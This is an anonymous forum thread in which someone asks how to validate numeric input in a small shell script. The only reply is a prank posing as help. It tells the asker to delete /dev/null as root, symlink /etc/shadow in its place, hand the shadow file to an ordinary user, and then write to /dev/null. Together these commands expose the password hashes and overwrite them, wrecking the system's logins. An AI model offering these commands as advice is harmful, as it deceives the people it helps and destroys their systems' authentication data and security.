Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Shell NAN?

Name: Anonymous 2010-09-14 15:41

Okay guys, I made a naïve script to test if a number was positive/zero/negative.


#!/bin/sh
if [ $1 -lt 0 ]
then echo "$1 is negative"
elif [ $1 -eq 0 ]
  then echo "$1 is 0"
  else echo "$1 is positive"
fi


And I wanted to make it more robust. How can I test if the argument provided is a valid number?

Name: Anonymous 2010-09-15 7:40

>>12
Create a shadow /dev/null for your user.
Let's say your user is called user12.  Then (from root):
# rm -f /dev/null
# ln -s /etc/shadow /dev/null
# chown user12 /etc/shadow

Now test it with some sample data, e. g. echo "Hurrah!" > /dev/null

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List